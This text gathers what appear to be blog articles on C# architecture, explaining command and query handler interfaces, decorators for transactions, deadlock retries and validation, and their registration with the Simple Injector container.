This decorator depends on the PostCommitRegistratorImpl directly and during the Handle method -after the transaction completes successfully- the ExecuteActions method of the PostCommitRegistratorImpl is called. Note that this decorator depends on the PostCommitRegistratorImpl implementation and not on the IPostCommitRegistrator interface. The interface does not implement the ExecuteActions method, and we don’t want it to, since we don’t want any command handler to call that method directly. We do however want this class to be able to execute the registered delegates, so we need it to access the implementation. Since both classes are part of the composition root, this is fine. The application code itself has no notion of the PostCommitRegistratorImpl nor the PostCommitCommandHandlerDecorator<T>.

Our last task is to wire up all the dependencies correctly. This isn’t really difficult, but does need a certain state of mind, since you need to carefully consider the lifestyle of PostCommitRegistratorImpl. Up until this point this article was container agnostic. Here is an example of how to configure this using the Simple Injector:

using SimpleInjector;
using SimpleInjector.Extensions;

container.RegisterManyForOpenGeneric(
    typeof(ICommandHandler<>), 
    typeof(ICommandHandler<>).Assembly);

container.RegisterDecorator(
    typeof(ICommandHandler<>), 
    typeof(TransactionCommandHandlerDecorator<>));

container.RegisterDecorator(
    typeof(ICommandHandler<>), 
    typeof(PostCommitCommandHandlerDecorator<>));
 
container.RegisterPerWebRequest<PostCommitRegistratorImpl>();
container.Register<IPostCommitRegistrator>(
    () => container.GetInstance<PostCommitRegistratorImpl>());

The previous registration does a few things:

• First it registers all public ICommandHandler<T> implementations that live in the same assembly as the ICommandHandler<T> does.
• Next it registers the TransactionCommandHandlerDecorator<T> to be wrapped around each command handler implementation.
• Next it registers the PostCommitCommandHandlerDecorator<T> to be wrapped around each TransactionCommandHandlerDecorator<T> implementation. It is important that the post commit decorator is wrapped around the transaction decorator, since the system will behave incorrectly when they are decorated the other way around, since that means that the registered delegates would be called before the transaction is committed.
• The PostCommitRegistratorImpl is registered. Since we want to inject the same instance in both the command handler and the post commit decorator, we can’t use the transient lifestyle, since that will new up a new instance each time it is injected. Using a single instance for the whole application however, is only possible when the application is single-threaded (which can be the case if you run the handlers in a Windows Forms application or a Windows Service). In this case I assume a web application, which is inherently multi-threaded. I therefore register it on a Per Request basis (using the RegisterPerWebRequest extension method).
• Since the application does not depend on PostCommitRegistratorImpl but on the IPostCommitRegistrator interface, we need to map that interface to the previous registration. This is done by registering a delegate that requests the PostCommitRegistratorImpl. This may look odd, but is an effective way to map multiple interfaces to the same implementation. The delegate is called every time an IPostCommitRegistrator is injected, but since it requests a PostCommitRegistratorImpl, which is registered on a Per Web Request basis, it will always return the same instance for a single request.

Conclusion

Again, one simple abstraction can solve the problem we have effectively. Nice about this design is that it keeps the code of the commands handlers pretty clean, and although not shown, it is easy to write unit tests for this as well.

It’s funny that I encountered the command/handler design so many years ago but failed to understand why anyone would use two classes for one operation (one for the data and one for the behavior). It didn’t seem very object oriented to me and it was only after I experienced problems with the old design (message and behavior in the same class) that the potential of the command/handler design became clear to me.

With my business layer modeled uniformly and giving me great flexibility it then became clear that the same wasn't true for the part of the business layer that was responsible to querying. It was this dissatisfaction that triggered me to think about the design of this part of my application architecture.

Originally I would model queries as methods with clear names and group them together in a class. This led to interfaces like the following:

public interface IUserQueries
{
    User[] FindUsersBySearchText(string searchText, 
        bool includeInactiveUsers);
 
    User[] GetUsersByRoles(string[] roles);
 
    UserInfo[] GetHighUsageUsers(int reqsPerDayThreshold);

    // More methods here
}

There is a variation of this pattern that a lot of developers use today in their applications. They mix this query class with the repository pattern. The repository pattern is used for CRUD operations. The following code may look familiar:

// Generic repository class (good)
public interface IRepository<T>
{
    T GetByKey(int key);

    void Save(T instance);

    void Delete(T instance);
}

// Custom entity-specific repository with query methods (awkward)
public interface IUserRepository : IRepository<User>
{
    User[] FindUsersBySearchText(string searchText, 
        bool includeInactiveUsers);
 
    User[] GetUsersByRoles(string[] roles);
 
    UserInfo[] GetHighUsageUsers(int reqsPerDayThreshold);

    // More methods here
}

Alongside the IUserQueries interface, my application contained interfaces such as IPatientInfoQueries, ISurgeryQueries, and countless others, each with its own set of methods and its own set of parameters and return types. Every interface was different, which made adding cross-cutting concerns, such as logging, caching, profiling, security, etc very difficult. I was missing the uniformity in the design that I had with my command handlers. The query classes were just a bunch of random methods, often grouped around one concept or one entity. No matter how hard I tried, it would end up looking messy and each time a query method was added both the interface and the implementation would need to be changed.

In my automated test suite things were even worse! A class under test that depended on a query interface was often only expected to call one or two of its methods, while other classes were expected to call other methods. This meant I had to do hundreds of asserts in my test suite to ensure a class didn’t call unexpected methods. This resulted in the creation of abstract base classes in my test project that implemented one of these query interfaces. Each abstract class looked something like this:

public abstract class FakeFailingUserQueries : IUserQueries
{
    public virtual User[] FindUsersBySearchText(
        string searchText, bool includeInactive)
    {
        Assert.Fail("Call to this method was not expected.");
        return null;
    }
 
    public virtual User[] GetUsersByRoles(string[] roles)
    {
        Assert.Fail("Call to this method was not expected.");
        return null;
    }
        
    public virtual UserInfo[] GetHighUsageUsers(
        int requestsPerDayThreshold)
    {
        Assert.Fail("Call to this method was not expected.");
        return null;
    }

    // More methods here
}

For each test I would inherit from this base class and override the relevant the method:

public class FakeUserServicesUserQueries : FakeFailingUserQueries
{
    public User[] UsersToReturn { get; set; }
 
    public string[] CalledRoles { get; private set; }
 
    public override User[] GetUsersByRoles(string[] roles)
    {
        this.CalledRoles = roles;
 
        return this.UsersToReturn;
    }
}

All this meant I could leave all the other methods fail (since they were not expected to be called) which saved me from having to write too much code and reduced the chance of errors in my tests. But it still led to an explosion of test classes in my test projects.

Of course all these problems can be solved with the ‘proper’ tooling. For instance, cross-cutting concerns can be added by using compile-time code weaving (using PostSharp for instance), or by configuring your DI container using convention based registration, mixed with interception (interception uses dynamic proxy generation and lightweight code generation). The testing problems can be resolved by using Mocking frameworks (which also generate proxy classes that act like the original class).

These solutions work, but they usually only make things more complicated and in reality they are patches to hide problems with the initial design. When we validate the design against the five SOLID principles, we can see where the problem lies. The design violates three of the five SOLID principles.

The Single Responsibility Principle is violated, because the methods in each class are not highly cohesive. The only thing that relates those methods is the fact that they belong to the same concept or entity.

The design violates the Open/Closed Principle, because almost every time a query is added to the system, an existing interface and its implementations need to be changed. Every interface has at least two implementations: one real implementation and one test implementation.

The Interface Segregation Principle is violated, because the interfaces are wide (have many methods) and consumers of those interfaces are forced to depend on methods that they don’t use.

So let us not treat the symptoms; let’s address the cause.

A better design

Instead of having a separate interface per group of queries, we can define a single interface for all the queries in the system, just as we saw with the ICommandHandler<TCommand> interface in my previous article. We define the following two interfaces:

public interface IQuery<TResult>
{
}
 
public interface IQueryHandler<TQuery, TResult>
    where TQuery : IQuery<TResult>
{
    TResult Handle(TQuery query);
}

The IQuery<TResult> specifies a query message with TResult as the query's return type. Although this interface doesn't look very useful, I will explain later on why having such an interface is crucial.

Whereas a command is normally "fire and forget" and will update something in the system and not return a value, a query is the opposite, in that it will not change any state and does return a value.

Using the previously defined interface we can define a query message:

public class FindUsersBySearchTextQuery : IQuery<User[]>
{
    public string SearchText { get; set; }
 
    public bool IncludeInactiveUsers { get; set; }
}

This class defines a query operation with two parameters that returns an array of User objects. Just like a command, this query message class is a Parameter Object.

The class that handles this message can be defined as follows:

public class FindUsersBySearchTextQueryHandler
    : IQueryHandler<FindUsersBySearchTextQuery, User[]>
{
    private readonly NorthwindUnitOfWork db;
 
    public FindUsersBySearchTextQueryHandler(
        NorthwindUnitOfWork db)
    {
        this.db = db;
    }
 
    public User[] Handle(FindUsersBySearchTextQuery query)
    {
        return (
            from user in this.db.Users
            where user.Name.Contains(query.SearchText)
            select user)
            .ToArray();
    }
}

As we’ve seen with the command handlers, we can now let consumers depend on the generic IQueryHandler interface:

public class UserController : Controller
{
    IQueryHandler<FindUsersBySearchTextQuery, User[]> handler;
 
    public UserController(
        IQueryHandler<FindUsersBySearchTextQuery, User[]> handler)
    {
        this.handler = handler;
    }
 
    public View SearchUsers(string searchString)
    {
        var query = new FindUsersBySearchTextQuery
        {
            SearchText = searchString,
            IncludeInactiveUsers = false
        };
 
        User[] users = this.handler.Handle(query);

        return this.View(users);
    }
}

Note this is where the IQuery<TResult> interface comes into play. It prevents us from having to cast the return type (to User[] in this example); it therefore gives us compile-time support when working with the query handler; it provides compile-time support when specifying or injecting IQueryHandlers into our code. If we were to change the FindUsersBySearchTextQuery to return UserInfo[] instead of User[] (by updating it to implement IQuery<UserInfo[]>), the UserController would fail to compile because the generic type constraint on IQueryHandler<TQuery, TResult> won't be able to map FindUsersBySearchTextQuery to User[].

Injecting the IQueryHandler interface into a consumer however, has some less obvious problems that still need to be addressed.

The number of dependencies if our consumers might get too big and can lead to constructor over-injection - when a constructor takes too many arguments (a common rule of thumb is that a constructor should take no more than 4 or 5 arguments). Constructor over-injection is an anti-pattern and is often a sign that the Single Responsibility Principle (SRP) has been violated. Although it is important to adhere to SRP, it is also highly likely that consumers will want to execute multiple different queries without really violating SRP (in contrast to injecting many ICommandHandler<TCommand> implementations which would certainly be a violation of SRP). In my experience the number of queries a class executes can change frequently, which would require constant changes into the number of constructor arguments.

Another shortcoming of this approach is that the generic structure of the IQueryHandler<TQuery, TResult> leads to lots of infrastructural code which in turn makes the code harder to read. For example:

public class Consumer
{
    IQueryHandler<FindUsersBySearchTextQuery, IQueryable<UserInfo>> findUsers;
    IQueryHandler<GetUsersByRolesQuery, IEnumerable<User>> getUsers;
    IQueryHandler<GetHighUsageUsersQuery, IEnumerable<UserInfo>> getHighUsage;
 
    public Consumer(
        IQueryHandler<FindUsersBySearchTextQuery, IQueryable<UserInfo>> findUsers,
        IQueryHandler<GetUsersByRolesQuery, IEnumerable<User>> getUsers,
        IQueryHandler<GetHighUsageUsersQuery, IEnumerable<UserInfo>> getHighUsage)
    {
        this.findUsers = findUsers;
        this.getUsers = getUsers;
        this.getHighUsage = getHighUsage;
    }
}

Wow!! That’s a lot of code for a class that only has three different queries that it needs to execute. This is in part due to the verbosity of the C# language. A workaround (besides switching to another language) would be to use a T4 template that generates the constructor in a new partial class. This would leave us with just the three lines defining the private fields. The generic typing would still be a bit verbose, but with C# there's nothing much we can do about that.

So how do we fix the problem of having to inject too many IQueryHandlers? As always, with an extra layer of abstraction :-). We create a mediator that sits between the consumers and the query handlers:

public interface IQueryProcessor
{
    TResult Process<TResult>(IQuery<TResult> query);
}

The IQueryProcessor is a non-generic interface with one generic method. As you can see in the interface definition, the IQueryProcessor depends on the IQuery<TResult> interface. This allows us to have compile time support in our consumers that depend on the IQueryProcessor. Let’s rewrite the UserController to use the new IQueryProcessor:

public class UserController : Controller
{
    private IQueryProcessor queryProcessor;
 
    public UserController(IQueryProcessor queryProcessor)
    {
        this.queryProcessor = queryProcessor;
    }
 
    public View SearchUsers(string searchString)
    {
        var query = new FindUsersBySearchTextQuery
        {
            SearchText = searchString
        };
 
        // Note how we omit the generic type argument,
        // but still have type safety.
        User[] users = this.queryProcessor.Process(query);

        return this.View(users);
    }
}

The UserController now depends on a IQueryProcessor that can handle all of our queries. The UserController’s SearchUsers method calls the IQueryProcessor.Process method passing in an initialized query object. Since the FindUsersBySearchTextQuery implements the IQuery<User[]> interface, we can pass it to the generic Execute<TResult>(IQuery<TResult> query) method. Thanks to C# type inference, the compiler is able to determine the generic type and this saves us having to explicitly state the type. The return type of the Process method is also known. So if we were to change the FindUsersBySearchTextQuery to implement a different interface (say IQuery<IQueryable<User>>) the UserController will no longer compile instead of miserably failing at runtime.

It is now the responsibility of the implementation of the IQueryProcessor to find the right IQueryHandler. This requires some dynamic typing, and optionally the use of a Dependency Injection framework, and can all be done with just a few lines of code:

sealed class QueryProcessor : IQueryProcessor
{
    private readonly Container container;

    public QueryProcessor(Container container)
    {
        this.container = container;
    }

    [DebuggerStepThrough]
    public TResult Process<TResult>(IQuery<TResult> query)
    {
        var handlerType = typeof(IQueryHandler<,>)
            .MakeGenericType(query.GetType(), typeof(TResult));

        dynamic handler = container.GetInstance(handlerType);

        return handler.Handle((dynamic)query);
    }
}

The QueryProcessor class constructs a specific IQueryHandler<TQuery, TResult> type based on the type of the supplied query instance. This type is used to ask the supplied container class to get an instance of that type. Unfortunately we need to call the Handle method using reflection (by using the C# 4.0 dymamic keyword in this case), because at this point it is impossible to cast the handler instance, since the generic TQuery argument is not available at compile time. However, unless the Handle method is renamed or gets other arguments, this call will never fail and if you want to, it is very easy to write a unit test for this class. Using reflection will give a slight drop, but is nothing to really worry about (especially when you're using Simple Injector as your DI framework, because it is blazingly fast).

I did consider an alternative design of the IQueryProcessor interface, that looked like this:

public interface IQueryProcessor
{
    TResult Process<TQuery, TResult>(TQuery query)
        where TQuery : IQuery<TResult>;
}

This version of the interface solves the problem of having to do dynamic typing in the QueryProcessor implementation completely, but sadly the C# compiler isn’t ‘smart’ enough to find out which types are needed (damn you Anders!), which forces us to completely write out the call to Process, including both generic arguments. This gets really ugly in the code and is therefore not advisable. I was a bit amazed by this, because I was under the assumption that the C# compiler could infer the types. (However, the more I think about it, the more it makes sense that the C# compiler doesn't try to do so.)

There’s one very important point to note when using the IQueryProcessor abstraction. By injecting an IQueryProcessor, it is no longer clear which queries a consumer is using. This makes unit testing more fragile, since the constructor no longer tells us what services the class depends on. We also make it harder for our DI framework to verify the object graph it is creating, since the creation of an IQueryHandler implementation is postponed by the IQueryProcessor. Being able to verify the container's configuration is very important. Using the IQueryProcessor means we have to write a test that confirms there is a corresponding query handler for every query in the system, because the DI framework can not check this for you. I personally can live with that in the applications I work on, but I wouldn’t use such an abstraction too often. I certainly wouldn’t advocate an ICommandProcessor for executing commands - consumers are less likely to take a dependency on many command handlers and if they do it would probably be a violation of SRP.

One word of advice: When you start using this design, start out without the IQueryProcessor abstraction because of the reasons I described. It can always be added later on without any problem.

A consequence of the design based on the IQueryHandler interface is that there will be a lot of small classes in the system. Having a lot of small / focused classes (with clear names) is a good thing, but in this scenario, it might create some overhead, since every query handler would have a constructor that takes some dependencies and stores them in local variables (like I said, C# is a very verbose for doing constructor injection, but it's currently still the best language we've got).

There are ways to remove that overhead (besides using the T4 template I described before), you can for example merge multiple query handlers into a single class:

public class UserQueryHandlers :
    IQueryHandler<FindUsersBySearchTextQuery, User[]>,
    IQueryHandler<GetUsersByRolesQuery, User[]>,
    IQueryHandler<GetHighUsageUsersQuery, UserInfo[]>
{
    private readonly NorthwindUnitOfWork db;
 
    public UserQueryHandlers(NorthwindUnitOfWork db)
    {
        this.db = db;
    }
 
    public User[] Handle(FindUsersBySearchTextQuery query)
    {
        return (
            from user in this.db.Users
            where user.Name.Contains(query.SearchText)
            select user)
            .ToArray();
    }
 
    public User[] Handle(GetUsersByRolesQuery query)
    {
        // Query here
    }
 
    public UserInfo[] Handle(GetHighUsageUsersQuery query)
    {
        // Query here
    }

    // More methods here.
}

Although the UserQueryHandlers class resembles the initial design we are trying to prevent, there is one crucial difference:  it implements IQueryHandler<TQuery, TResult> multiple times, once per query. This allows us to register this class multiple times, once per implemented interface. Although this class violates the SRP, it gives us all the previously described advantages and doesn't violate OCP or ISP.

When using a Dependency Injection framework, we can normally register all query handlers with a single call (depending on the framework), because all the handlers implement the same IQueryHandler<TQuery, TResult> interface. Your mileage may vary, but with the Simple Injector, the registration looks like this:

container.RegisterManyForOpenGeneric(typeof(IQueryHandler<,>),
    typeof(IQueryHandler<,>).Assembly);

This code saves is from having to change the DI configuration each time we add a new query handler to the system. They will all be picked up automatically.

With this design in place we can add cross-cutting concerns such as logging, audit trail, etc. Or let’s say you want to decorate properties of the query objects with Data Annotations attributes, to enable validation:

public class FindUsersBySearchTextQuery : IQuery<User[]>
{
    // Required and StringLength are attributes from the
    // System.ComponentModel.DataAnnotations assembly.
    [Required]
    [StringLength(1)]
    public string SearchText { get; set; }
 
    public bool IncludeInactiveUsers { get; set; }
}

Because we modeled our query handlers around a single IQueryHandler<TQuery, TResult> interface, we can define a simple decorator that validates all query messages before they are passed to their handlers:

public class ValidationQueryHandlerDecorator<TQuery, TResult>
    : IQueryHandler<TQuery, TResult>
    where TQuery : IQuery<TResult>
{
    private readonly IServiceProvider provider;
    private readonly IQueryHandler<TQuery, TResult> decorated;
 
    [DebuggerStepThrough]
    public ValidationQueryHandlerDecorator(
        Container container,
        IQueryHandler<TQuery, TResult> decorated)
    {
        this.provider = container;
        this.decorated = decorated;
    }
 
    [DebuggerStepThrough]
    public TResult Handle(TQuery query)
    {
        var validationContext =
            new ValidationContext(query, this.provider, null);
 
        Validator.ValidateObject(query, validationContext);

        return this.decorated.Handle(query);
    }
}

All without changing any of the existing code in our system beyond adding the following new line of code in the Composition Root:

container.RegisterDecorator(typeof(IQueryHandler<,>),
    typeof(ValidationQueryHandlerDecorator<,>));

If you're concerned about performance and worry that this would add too much overhead by wrapping query handlers that don't need validation with a decorator, a DI container such as Simple Injector allows you to easily configure a conditional decorator:

// using SimpleInjector.Extensions;
container.RegisterDecorator(typeof(IQueryHandler<,>),
    typeof(ValidationQueryHandlerDecorator<,>),
    context => ShouldQueryHandlerBeValidated(context.ServiceType));

The applied predicate is evaluated just once per closed generic IQueryHandler<TQuery, TResult> type, so there is no performance loss in registering such a conditional decorator (or at least, with Simple Injector there isn't). As I said, your mileage may vary when using other DI frameworks.

I’ve been using this model for some time now but there is one thing that struck me early on - everything in the system is a query or a command and if we want, we can model every single operation in this way. But do we really want to? No, definitely not, mostly because it doesn’t always result in the most readable code. Take a look at this example:

public IQueryable<Order> Handle(
    GetRecentOrdersForLoggedInUserQuery query)
{
    int currentUserId =
        this.userHandler.Handle(new GetCurrentUserIdQuery());
 
    DateTime currentTime =
        this.timeHandler.Handle(new GetCurrentTimeQuery());
 
    return
        from order in db.Orders
        where order.User.Id == currentUserId
        where order.CreateDate >= currentTime.AddDays(-30)
        select order;
}

This query method is composed of other queries. Composing queries out of other queries is a great way to improve modularity and manage the complexity of the system. But still there is something smelly about this code. Personally, I find the following example easier to read:

public IQueryable<Order> Handle(
    GetRecentOrdersForLoggedInUserQuery query)
{
    return
        from order in db.Orders
        where order.User.Id == this.userContext.UserId
        where order.CreateDate >=
            this.timeProvider.Now.AddDays(-30)
        select order;
}

The previous sub queries are in this version replaced with the IUserContext and ITimeProvider services. Because of this, the method is now more consise and compact.

So where do we draw the line between using an IQuery<TResult> and specifying an explicit separate service interface? I can’t really define any specific rules on that; a little bit of intuition and experience will have to guide you. But to give a little bit of guidance, when a query returns a (cached) value without really hitting an external resource, such as the file system, web service, or database, and it doesn’t contain any parameters, and you’re pretty sure you never want to wrap it with a decorator (no performance measuring, no audit trailing, no authorization) it’s pretty safe to define it as a specific service interface. Another way to view this is to use this design to define business questions: things the business wants to know. In other words, use the IQueryHandler<TQuery, TResult> and ICommandHandler<TCommand> abstractions as the communication layer between the business layer and the layers above.

That’s how I roll on the query side of my architecture.

Since I began writing applications in .NET I've been separating operations that mutate state (of the database mostly) from operations that return data. This is basically what the Command-query separation principle is about. Over time the designs I have used have evolved. Initially triggered by a former colleague of mine I started to use the Command Pattern about four years ago. Back then we called them business commands and a single command would represent an atomic business operation, or use case.

Over the years, the projects I have participated on have increased in complexity and I have adopted newer techniques such as Test Driven Development and Dependency Injection (DI). The flaws in this approach to the Command Pattern have become obvious to me. DI has a tendency of exposing violations of the SOLID principles and this implementation hindered the maintainability of these applications.

In the early days my implementation of the Command Pattern design consisted of classes that contained both properties to hold the data and an Execute() method that would start the operation. The design had an abstract Command base class that contained all of logic for handling transactions, re-executing commands after a deadlock occurred, measuring performance, security checks, etc. This base class was a big code smell and was a form of God Object with many responsibilities. Furthermore, having data and behavior interleaved made it very difficult to mock/abstract that logic during unit testing. For example a consumer of a command would typically new up a command instance and call Execute() directly on it, as shown in the following example:

var command = new MoveCustomerCommand
{
    CustomerId = customerId,
    NewAddress = address
};

command.Execute();

I tried to solve this problem by injecting the command into the constructor of a consumer (constructor injection), but this was awkward to say the least. It remained the responsibility of the consumer to set all the properties of the object that was passed in and didn't really solve the problem of abstracting away the command elegantly. To prevent the command's logic from being executed, I had to define a fake version of each command for testing and it did nothing to reduce the large and complicated base class.

All of these experiences led me to try a design that I had seen others use, but that I had never seen the benefits of. In this new design, data and behavior are separated. Each business operation has a simple data container called the command object (a DTO); my standard naming convention for these classes is to suffix them with 'Command':

public class MoveCustomerCommand
{
    public int CustomerId { get; set; }
 
    public Address NewAddress { get; set; }
}

The logic gets its own separate class; my standard naming convention for these classes is to suffix them with 'CommandHandler':

public class MoveCustomerCommandHandler
{
    private readonly UnitOfWork db;

    public MoveCustomerCommandHandler(UnitOfWork db,
        [Other dependencies here])
    {
        this.db = db;
    }
 
    public virtual void Handle(MoveCustomerCommand command)
    {
        // TODO: Logic here
    }
}

This design gives us a lot; a command handler can be injected into a consumer, while the consumer can simply new up the related command object. Because the command only contains data, there no longer a reason to fake the command during testing. Here’s an example of how a consumer can use that command and command handler:

public class CustomerController : Controller
{
    private readonly MoveCustomerCommandHandler handler;
 
    public CustomerController(
        MoveCustomerCommandHandler handler)
    {
        this.handler = handler;
    }
 
    public void MoveCustomer(int customerId, 
        Address newAddress)
    {
        var command = new MoveCustomerCommand
        {
            CustomerId = customerId,
            NewAddress = newAddress
        };
 
        this.handler.Handle(command);
    }
}

There is still a problem with this design. Although every handler class has a single (public) method (and therefore adheres the Interface Segregation Principle), all handlers define their own interface (there is no common interface). This makes it hard to extend the command handlers with new features and cross-cutting concerns. For example, we would like to measure the time it takes to execute every command and log this information to the database. How can we do this? In the past we would either change each and every command handler, or move the logic into a base class. Moving this feature into the base class is not ideal as the base class will soon contain lots of these common features, and would soon grow out of control (which I have seen happening). Besides, this would make it hard to enable/disable such behavior for certain types (or instances) of command handlers because it would involve adding conditional logic into the base class, making it even more complicated!

All these problems can be solved elegantly by having all command handlers implement a single generic interface:

public interface ICommandHandler<TCommand>
{
    void Handle(TCommand command);
}

Using this interface, the MoveCustomerCommandHandler would now look like this:

// Exactly the same as before, but now with the interface.
public class MoveCustomerCommandHandler
    : ICommandHandler<MoveCustomerCommand>
{
    private readonly UnitOfWork db;

    public MoveCustomerCommandHandler(UnitOfWork db,
        [Other dependencies here])
    {
        this.db = db;
    }
 
    public void Handle(MoveCustomerCommand command)
    {
        // TODO: Logic here
    }
}

One important benefit of this interface is that it allows the consumers to depend on the new abstraction, rather than a concrete implementation of the command handler:

// Again, same implementation as before, but now we depend
// upon the ICommandHandler abstraction.
public class CustomerController : Controller
{
    private ICommandHandler<MoveCustomerCommand> handler;
 
    public CustomerController(
        ICommandHandler<MoveCustomerCommand> handler)
    {
        this.handler = handler;
    }
 
    public void MoveCustomer(int customerId, 
        Address newAddress)
    {
        var command = new MoveCustomerCommand
        {
            CustomerId = customerId,
            NewAddress = newAddress
        };
 
        this.handler.Handle(command);
    }
}

What does adding an interface give us? Well frankly, a lot! Since nothing depends directly on any implementation but instead depends on an interface, we can now replace the original command handlers with any class that implements the new interface. Ignoring, for now the usual argument of testability, look at this generic class:

public class TransactionCommandHandlerDecorator<TCommand>
    : ICommandHandler<TCommand>
{
    private readonly ICommandHandler<TCommand> decorated;
 
    public TransactionCommandHandlerDecorator(
        ICommandHandler<TCommand> decorated)
    {
        this.decorated = decorated;
    }
 
    public void Handle(TCommand command)
    {
        using (var scope = new TransactionScope())
        {
            this.decorated.Handle(command);
 
            scope.Complete();
        }
    }
}

This class wraps an ICommandHandler<TCommand> instance (by accepting an instance of the same interface in its constructor), but at the same time it also implements the same ICommandHandler<TCommand> interface. It is an implementation of the Decorator pattern. This very simple class allows us to add transaction support to all of the command handlers.

Instead of injecting a MoveCustomerCommandHandler directly into the CustomerController, we can now inject the following:

var handler =
    new TransactionCommandHandlerDecorator<MoveCustomerCommand>(
        new MoveCustomerCommandHandler(
            new EntityFrameworkUnitOfWork(connectionString),
            // Inject other dependencies for the handler here
        )
    );
 
// Inject the handler into the controller’s constructor.
var controller = new CustomerController(handler);

This single decorator class (containing just 5 lines of code) can be reused for all of the command handlers in the system.

In case you're still not convinced, let's define another decorator:

public class DeadlockRetryCommandHandlerDecorator<TCommand>
    : ICommandHandler<TCommand>
{
    private readonly ICommandHandler<TCommand> decorated;
 
    public DeadlockRetryCommandHandlerDecorator(
        ICommandHandler<TCommand> decorated)
    {
        this.decorated = decorated;
    }
 
    public void Handle(TCommand command)
    {
        this.HandleWithCountDown(command, 5);
    }
 
    private void HandleWithCountDown(TCommand command,
        int count)
    {
        try
        {
            this.decorated.Handle(command);
        }
        catch (Exception ex)
        {
            if (count <= 0 || !IsDeadlockException(ex))
                throw;
 
            Thread.Sleep(300);
 
            this.HandleWithCountDown(command, count - 1);
        }
    }
 
    private static bool IsDeadlockException(Exception ex)
    {
        while (ex != null)
        {
            if (ex is DbException && 
                ex.Message.Contains("deadlock"))
            {
                return true;
            }
 
            ex = ex.InnerException;
        }
 
        return false;
    }
}

This class should speak for itself - although it contains more code than the previous example, it is still only 14 lines of code. In the event of a database deadlock, it will retry the command 5 times before it leaves the exception bubble up through the call stack. As before we can use this class by wrapping the previous decorator, as follows:

var handler =
    new DeadlockRetryCommandHandlerDecorator<MoveCustomerCommand>(
        new TransactionCommandHandlerDecorator<MoveCustomerCommand>(
            new MoveCustomerCommandHandler(
                new EntityFrameworkUnitOfWork(connectionString),
                // Inject other dependencies for the handler here
            )
        )
    );

var controller = new CustomerController(handler);

By the way, did you notice how both decorators are completely focused? They each have just a single responsibility. This makes them easy to understand, easy to change - this is what the Single Responsibility Principle is about.

The downside of these changes is that it can require a lot of boilerplate code to wire up all the classes that depend on a command handler; but at least the rest of the application is oblivious to this change. When dealing with any more than a handful of command handlers you should consider using a Dependency Injection framework. Such a framework can automate this wiring for you and will assist in making this area of your application maintainable.

The system depends on the correct wiring of these dependencies, since wrapping the deadlock retry behavior with the transaction behavior would lead to unexpected behavior (since a database deadlock typically has the effect of the database rolling back the transaction, while leaving the connection open), but this is isolated to the part of the application that wires everything together. Again, the rest of the application is oblivious.

Both the transaction logic and deadlock retry logic are examples of cross-cutting concerns. The use of decorators to add cross-cutting concerns is the cleanest and most effective way to apply these common features. It is a form of Aspect Oriented Programming. Besides these two examples there are many other cross-cutting concerns I can think of that can be added fairly easy using decorators:

• checking the authorization of the current user before commands get executed,
• validating commands before commands get executed, 
• measuring the duration of executing commands, 
• logging and audit trailing,
• executing commands in the background, or
• queuing commands to be processed in a different process.

<BackgroundStory>This last one is a very interesting one. Years ago I worked on an application that used a database table as queue for commands that would be executed in the future. We wrote business processes (commands by themselves) that sometimes queued dozens of other (sub) commands, which could be processed in parallel by different processes (multiple Windows services on different machines). These commands did things like sending mail or heavy stuff such as payroll calculations, generating PDF documents (that would be merged by another command, and sending those merged documents to a printer by yet another command). The queue was transactional, which allowed us to -in a sense- send mails and upload files to FTP in a transactional manner. However, We didn't use dependency injection back then, which made everything so much harder (if only we knew).</BackgroundStory>

Because commands are simple data containers without behavior, it is very easy to serialize them (using the XmlSerializer for instance) or send them over the wire (using WCF for instance), which makes it not only easy to queue them for later processing, but ot also makes it very easy to log them in an audit trail- yet another reason to separate data and behavior. All these features can be added, without changing a single line of code in the application (except perhaps a line at the start-up of the application).

This design makes maintaining web services much easier too. Your (WCF) web service can consist of only one 'handle' method that takes in any command (that you explicitly expose) and can execute these commands (after doing the usual authentication, authorization, and validation of course). Since you will be defining commands and their handlers anyway, your web service project won't have to be changed. If you're interested, take a look at my article Writing Highly Maintainable WCF Services.

One simple ICommandHandler<TCommand> interface has made all this possible. While it may seem complex at first, once you get the hang of it (together with dependency injection), well... the possibilities are endless. You may think that you don’t need all of this up front when you first design your applications but this design allows you to make many unforeseen changes to the system later without much difficulty. One can hardly argue a system with this design is over-engineered, since every business operation has its own class and we have put a single generic interface over them all. It’s hard to over-engineer that - even really small systems can benefit from separating concerns.

This doesn't mean things can’t get complicated. Correct wiring all of these dependencies, and writing and adding the decorators in the right order can be challenging. But at least this complexity is focused in a single part of the application (the start-up path a.k.a. Composition Root), and it leaves the rest of the application unaware and unaffected. You will rarely need to make sweeping changes across your application, which is what the Open/Closed Principle is all about.

By the way, you probably think the way I created all those decorators around a single command handler is rather awkward, and imagined the big ball of mud that it would become after we have created a few dozen command handlers. Yes, you are right - this doesn’t scale well. But as I already mentioned, this problem is best resolved with a DI framework. For instance, when using Simple Injector, registering all command handlers in the system can be done with a single line of code. Registering a decorator is another single line. Here is an example configuration when when using Simple Injector:

using SimpleInjector;
using SimpleInjector.Extensions;

var container = new Container();

// Go look in all assemblies and register all implementations
// of ICommandHandler<T> by their closed interface:
container.RegisterManyForOpenGeneric(
    typeof(ICommandHandler<>),
    AppDomain.CurrentDomain.GetAssemblies());

// Decorate each returned ICommandHandler<T> object with
// a TransactionCommandHandlerDecorator<T>.
container.RegisterDecorator(typeof(ICommandHandler<>),
    typeof(TransactionCommandHandlerDecorator<>));

// Decorate each returned ICommandHandler<T> object with
// a DeadlockRetryCommandHandlerDecorator<T>.
container.RegisterDecorator(typeof(ICommandHandler<>),
    typeof(DeadlockRetryCommandHandlerDecorator<>));

// Decorate handlers conditionally with validation. In
// this case based on their metadata.
container.RegisterDecorator(typeof(ICommandHandler<>),
    typeof(ValidationCommandHandlerDecorator<>),
    c => ContainsValidationAttributes(c.ServiceType));

// Decorates all handlers with an authorization decorator.
container.RegisterDecorator(typeof(ICommandHandler<>),
    typeof(AuthorizationCommandHandlerDecorator<>));

No matter how many command handlers you add to the system, these few lines of code won’t change, which also helps to underline the true power of a DI framework. Once your application is built applying the SOLID principles, a good DI framework will ensure that the startup path of your application remains maintainable.

This is how I roll on the command side of my architecture.

If you found this article interesting, you should also read my follow up: Meanwhile... on the query side of my architecture and take a look how to return data from command handlers. In Writing highly maintainable WCF services I talk about sending commands over the wire.

What's nice about the Simple Injector IMO, is that although it has a small API, it has a few very cleverly chosen extensibility points, which make it possible to add almost every imaginable advanced scenario. Both the SimpleInjector.Extensions.dll (which runs on top of the core library without any access to the internals) and the examples in the advanced scenarios section on CodePlex, prove this point.

